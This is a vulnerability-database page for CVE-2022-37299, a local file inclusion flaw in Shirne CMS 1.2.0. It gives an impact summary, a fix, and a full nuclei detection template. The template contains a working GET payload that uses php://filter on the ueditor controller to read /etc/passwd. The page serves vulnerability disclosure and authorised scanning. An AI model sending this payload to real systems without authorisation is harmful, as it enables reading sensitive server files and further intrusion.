HexBrain

Browse / CVEs / CVE-2022-37299

CVE-2022-37299· shirne cms project / shirne cms· CWE-22

Shirne CMS 1.2.0 - Local File Inclusion

mediumseverity
6.5CVSS score
3.6%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

Shirne CMS 1.2.0 is vulnerable to local file inclusion which could cause arbitrary file read via /static/ueditor/php/controller.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.

Fix

Upgrade to the latest version of Shirne CMS or apply the vendor-provided patch to mitigate the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/static/ueditor/php/controller.php?action=proxy&remote=php://filter/convert.base64-encode/resource=/etc/passwd&maxwidth=-1&referer=test
Positive when: contains "cm9vd" AND contains in header "image/png" AND status 200

Run it with nuclei: nuclei -id CVE-2022-37299 -u <target>

The full check
id: CVE-2022-37299

info:
  name: Shirne CMS 1.2.0 - Local File Inclusion
  author: pikpikcu
  severity: medium
  description: Shirne CMS 1.2.0 is vulnerable to local file inclusion which could cause arbitrary file read via /static/ueditor/php/controller.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Upgrade to the latest version of Shirne CMS or apply the vendor-provided patch to mitigate the LFI vulnerability.
  reference:
    - https://twitter.com/pikpikcu/status/1568316864690028544
    - https://gitee.com/shirnecn/ShirneCMS/issues/I5JRHJ?from=project-issue
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37299
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2022-37299
    cwe-id: CWE-22
    epss-score: 0.03619
    epss-percentile: 0.89606
    cpe: cpe:2.3:a:shirne_cms_project:shirne_cms:1.2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: shirne_cms_project
    product: shirne_cms
  tags: cve,cve2022,shirnecms,lfi,shirne_cms_project,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/static/ueditor/php/controller.php?action=proxy&remote=php://filter/convert.base64-encode/resource=/etc/passwd&maxwidth=-1&referer=test"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "cm9vd" # root in base64

      - type: word
        part: header
        words:
          - "image/png"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from